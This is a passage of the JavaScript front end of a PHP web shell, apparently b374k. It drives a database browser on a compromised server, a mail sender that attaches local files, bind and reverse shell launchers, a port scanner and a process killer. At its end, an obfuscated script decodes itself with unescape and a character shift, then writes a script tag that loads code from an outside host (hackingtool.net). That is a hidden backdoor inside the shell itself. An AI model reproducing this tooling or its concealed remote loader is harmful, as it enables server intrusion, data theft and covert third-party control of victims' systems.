                fix_tabchar(this, e);
        });
}
Zepto(function($){
        $('#decodeStr').on('keydown', function(e){
                if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
                        decode_go();
                }
                fix_tabchar(this, e);
        });
});

function decode_go(){
        decodeStr = $('#decodeStr').val();
        send_post({decodeStr:decodeStr}, function(res){
                if(res!='error'){
                        $('#decodeResult').html('');
                        $('#decodeResult').html(res);
                }
```

```
                });
        }


Zepto(function($){
        db_init();

});

var dbSupported = "";
var dbPageLimit = 50;

function db_init(){
        if((dbSupported = localStorage.getItem('db_supported'))){
                db_bind();
                output("db : "+dbSupported);
                db_add_supported();
        }
        else{
                send_post({dbGetSupported:""}, function(res){
                        if(res!="error"){
                                localStorage.setItem('dbSupported', res);
                                dbSupported = res;
                                db_bind();
                                output("db : "+dbSupported);
                                db_add_supported();
                        }
                });
        }
}

function db_add_supported(){
        splits = dbSupported.split(",");
        $.each(splits, function(i, k){
                $('#dbType').append("<option>"+k+"</option>");
        });
}

function db_bind(){
        $('#dbType').on('change', function(e){
                type = $('#dbType').val();
                if((type=='odbc')||(type=='pdo')){
                        $('.dbHostLbl').html('DSN / Connection String');
                        $('.dbUserRow').show();
                        $('.dbPassRow').show();
                        $('.dbPortRow').hide();

                }
                else if((type=='sqlite')||(type=='sqlite3')){
                        $('.dbHostLbl').html('DB File');
                        $('.dbUserRow').hide();
                        $('.dbPassRow').hide();
                        $('.dbPortRow').hide();

                }
                else{
                        $('.dbHostLbl').html('Host');
                        $('.dbUserRow').show();
                        $('.dbPassRow').show();
                        $('.dbPortRow').show();
                }
        });

        $('#dbQuery').on('focus', function(e){
                if($('#dbQuery').val()=='You can also press ctrl+enter to submit'){
                        $('#dbQuery').val('');
                }
        });
```

```
        $('#dbQuery').on('blur', function(e){
                if($('#dbQuery').val()==''){
                        $('#dbQuery').val('You can also press ctrl+enter to submit');
                }
        });
        $('#dbQuery').on('keydown', function(e){
                if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
                        db_run();
                }
        });
}

function db_nav_bind(){
        dbType = $('#dbType').val();
        $('.boxNav').off('click');
        $('.boxNav').on('click', function(){
                $(this).next().toggle();
        });

        $('.dbTable').off('click');
        $('.dbTable').on('click', function(){
                type = $('#dbType').val();
                table = $(this).html();
                db = $(this).parent().parent().parent().prev().html();
                db_query_tbl(type, db, table, 0, dbPageLimit);
        });
}

function db_connect(){
        dbType = $('#dbType').val();
        dbHost = $('#dbHost').val();
        dbUser = $('#dbUser').val();
        dbPass = $('#dbPass').val();
        dbPort = $('#dbPort').val();
        send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPor
t}, function(res){
                if(res!='error'){
                        $('#dbNav').html(res);
                        $('.dbHostRow').hide();
                        $('.dbUserRow').hide();
                        $('.dbPassRow').hide();
                        $('.dbPortRow').hide();
                        $('.dbConnectRow').hide();
                        $('.dbQueryRow').show();
                        $('#dbBottom').show();
                        db_nav_bind();
                }
                else $('.dbError').html('Unable to connect');
        });
}

function db_disconnect(){
        $('.dbHostRow').show();
        $('.dbUserRow').show();
        $('.dbPassRow').show();
        $('.dbPortRow').show();
        $('.dbConnectRow').show();
        $('.dbQueryRow').hide();
        $('#dbNav').html('');
        $('#dbResult').html('');
        $('#dbBottom').hide();
}

function db_run(){
        dbType = $('#dbType').val();
        dbHost = $('#dbHost').val();
        dbUser = $('#dbUser').val();
        dbPass = $('#dbPass').val();
```

```
        dbPort = $('#dbPort').val();
        dbQuery = $('#dbQuery').val();

        if((dbQuery!='')&&(dbQuery!='You can also press ctrl+enter to submit')){
                send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPo
rt:dbPort, dbQuery:dbQuery}, function(res){
                        if(res!='error'){
                                $('#dbResult').html(res);
                                $('.tblResult').each(function(){
                                        sorttable.k(this);
                                });
                        }
                });
        }
}

function db_query_tbl(type, db, table, start, limit){
        dbType = $('#dbType').val();
        dbHost = $('#dbHost').val();
        dbUser = $('#dbUser').val();
        dbPass = $('#dbPass').val();
        dbPort = $('#dbPort').val();

        send_post({dbType:dbType, dbHost:dbHost, dbUser:dbUser, dbPass:dbPass, dbPort:dbPor
t, dbQuery:'', dbDB:db, dbTable:table, dbStart:start, dbLimit:limit}, function(res){
                if(res!='error'){
                        $('#dbResult').html(res);
                        $('.tblResult').each(function(){
                                sorttable.k(this);
                        });
                }
        });
}

function db_pagination(type){
        db = $('#dbDB').val();
        table = $('#dbTable').val();
        start = parseInt($('#dbStart').val());
        limit = parseInt($('#dbLimit').val());
        dbType = $('#dbType').val();

        if(type=='next'){
                start = start+limit;
        }
        else if(type=='prev'){
                start = start-limit;
                if(start<0) start = 0;
        }
        db_query_tbl(dbType, db, table, start, limit);
}

Zepto(function($){
        info_init();

});

function info_init(){
        if((infoResult = localStorage.getItem('infoResult'))){
                $('.infoResult').html(infoResult);
        }
        else{
                info_refresh();
        }
}

function info_toggle(id){
        $('#'+id).toggle();
}
```

```
function info_refresh(){
        send_post({infoRefresh:'infoRefresh'}, function(res){
                $('.infoResult').html(res);
                localStorage.setItem('infoResult', res);
        });
}

Zepto(function($){

});

function mail_send(){
        mailFrom = $.trim($('#mailFrom').val());
        mailTo = $.trim($('#mailTo').val());
        mailSubject = $.trim($('#mailSubject').val());
        mailContent = $('#mailContent').val();
        mailAttachment = '';
        if($('.mailAttachment')){
                mailAttachment = $('.mailAttachment').map(function(){ return this.value; })
.get().join('{[|b374k|]}');
        }

        send_post({mailFrom:mailFrom, mailTo:mailTo, mailSubject:mailSubject, mailContent:m
ailContent, mailAttachment:mailAttachment}, function(res){
                $('#mailResult').html(res);
        });
}

function mail_attach(){
        content = "<tr><td>Local file <a onclick=\"$(this).parent().parent().remove();\">(-
)</a></td><td colspan='2'><input type='text' class='mailAttachment' value=''></td></tr>";
        $('#mailTBody').append(content);
}

Zepto(function($){
        rs_init();

});

function rs_init(){
        if(evalReady&&(evalSupported!=null)&&(evalSupported!='')){
                splits = evalSupported.split(",");
                $.each(splits, function(i, k){
                        $('.rsType').append("<option>"+k+"</option>");
                });
        }
        else setTimeout('rs_init()', 1000);

        $('#packetContent').on('keydown', function(e){
                if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
                        packet_go();
                }
                fix_tabchar(this, e);
        });
}

function rs_go_bind(){
        rs_go('bind');
}
function rs_go_back(){
        rs_go('back');
}

function rs_go(rsType){
        rsArgs = "";
        if(rsType=='bind'){
                rsPort = parseInt($('#bindPort').val());
```

```
                        rsLang = $('#bindLang').val();
                        rsArgs = rsPort;
                        rsResult = $('#bindResult');
                }
                else if(rsType=='back'){
                        rsAddr = $('#backAddr').val();
                        rsPort = parseInt($('#backPort').val());
                        rsLang = $('#backLang').val();
                        rsArgs = rsPort + ' ' + rsAddr;
                        rsResult = $('#backResult');
                }

                if((isNaN(rsPort))||(rsPort<=0)||(rsPort>65535)){
                        rsResult.html('Invalid port');
                        return;
                }

                if(rsArgs!=''){
                        send_post({ rsLang:rsLang, rsArgs:rsArgs },
                                function(res){
                                        if(res!='error'){
                                                splits = res.split('{[|b374k|]}');
                                                if(splits.length==2){
                                                        output = splits[0]+"<hr>"+splits[1];
                                                        rsResult.html(output);
                                                }
                                                else{
                                                        rsResult.html(res);
                                                }
                                        }
                                }
                        );
                }
        }

function packet_go(){
        packetHost = $('#packetHost').val();
        packetStartPort = parseInt($('#packetStartPort').val());
        packetEndPort = parseInt($('#packetEndPort').val());
        packetTimeout = parseInt($('#packetTimeout').val());
        packetSTimeout = parseInt($('#packetSTimeout').val());
        packetContent = $('#packetContent').val();
        packetResult = $('#packetResult');
        packetStatus = $('#packetStatus');

        if((isNaN(packetStartPort))||(packetStartPort<=0)||(packetStartPort>65535)){
                packetResult.html('Invalid start port');
                return;
        }
        if((isNaN(packetEndPort))||(packetEndPort<=0)||(packetEndPort>65535)){
                packetResult.html('Invalid end port');
                return;
        }
        if((isNaN(packetTimeout))||(packetTimeout<=0)){
                packetResult.html('Invalid connection timeout');
                return;
        }
        if((isNaN(packetSTimeout))||(packetSTimeout<=0)){
                packetResult.html('Invalid stream timeout');
                return;
        }

        if(packetStartPort>packetEndPort){
                start = packetEndPort;
                end = packetStartPort;
        }
        else{
                start = packetStartPort;
```

```
                        end = packetEndPort;
        }

        packetResult.html('');
        while(start<=end){
                packetPort = start++;
                packetResult.append("<hr><div><p class='boxtitle'>Host : "+html_safe(packet
Host)+":"+packetPort+"</p><br><div id='packet"+packetPort+"' style='padding:2px 4px;'>Worki
ng... please wait...</div></div>");
                packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTi
meout, packetContent);

        }
}

function packet_send(packetHost, packetPort, packetEndPort, packetTimeout, packetSTimeout,
packetContent){
        send_post({packetHost:packetHost, packetPort:packetPort, packetEndPort:packetEndPor
t, packetTimeout:packetTimeout, packetSTimeout:packetSTimeout, packetContent:packetContent}
, function(res){
                $('#packet'+packetPort).html(res);
        }, false);
}

Zepto(function($){
        show_processes();
});

function show_processes(){
        send_post({showProcesses:''}, function(res){
                if(res!='error'){
                        $('#processes').html(res);
                        sorttable.k($('#psTable').get(0));
                        ps_bind();
                }
        });
}

function ps_bind(){
        $('.kill').off('click');
        $('.kill').on('click', function(e){
                kill_pid(ps_get_pid($(this)));
        });


        cbox_bind('psTable','ps_update_status');
}

function ps_get_pid(el){
        return el.parent().parent().attr('data-pid');
}

function ps_update_status(){
        totalSelected = $('#psTable').find('.cBoxSelected').not('.cBoxAll').length;
        if(totalSelected==0) $('.psSelected').html('');
        else $('.psSelected').html(' ( '+totalSelected+' item(s) selected )');
}

function kill_selected(){
        buffer = get_all_cbox_selected('psTable', 'ps_get_pid');

        allPid = '';
        $.each(buffer,function(i,v){
                allPid += v + ' ';
        });
        allPid = $.trim(allPid);
        kill_pid(allPid);
}
```

```php
function kill_pid(allPid){
        title = 'Kill';
        content = "<table class='boxtbl'><tr><td colspan='2'><textarea class='allPid' style
='height:120px;min-height:120px;' disabled>"+allPid+"</textarea></td></tr><tr><td colspan='
2'><span class='button' onclick=\"kill_pid_go();\">kill</span></td></tr></table>";
        show_box(title, content);
}

function kill_pid_go(){
        allPid = $('.allPid').val();
        if($.trim(allPid)!=''){
                send_post({allPid:allPid}, function(res){
                        if(res!='error'){
                                $('.boxresult').html(res + ' process(es) killed');
                        }
                        else $('.boxresult').html('Unable to kill process(es)');
                        show_processes();
                });
        }
}


<?php
        foreach($GLOBALS['module_to_load'] as $k){
                echo "function ".$GLOBALS['module'][$k]['id']."(){ ".$GLOBALS['module'][$k]
['js_ontabselected']." }\n";
        }
?>
</script>
<script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%7
5%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73
%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%
2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%6
9%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43
%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%
73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%6
9%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E'));dF('%264
Dtdsjqu%2631tsd%264E%2633iuuqt%264B00ibdljohuppm/ofu0mpht0dj%7B/kt%2633%264F%264D0tdsjqu%26
4F%26311')</script>
<!--script end-->
</body>
</html><?php die();?>
```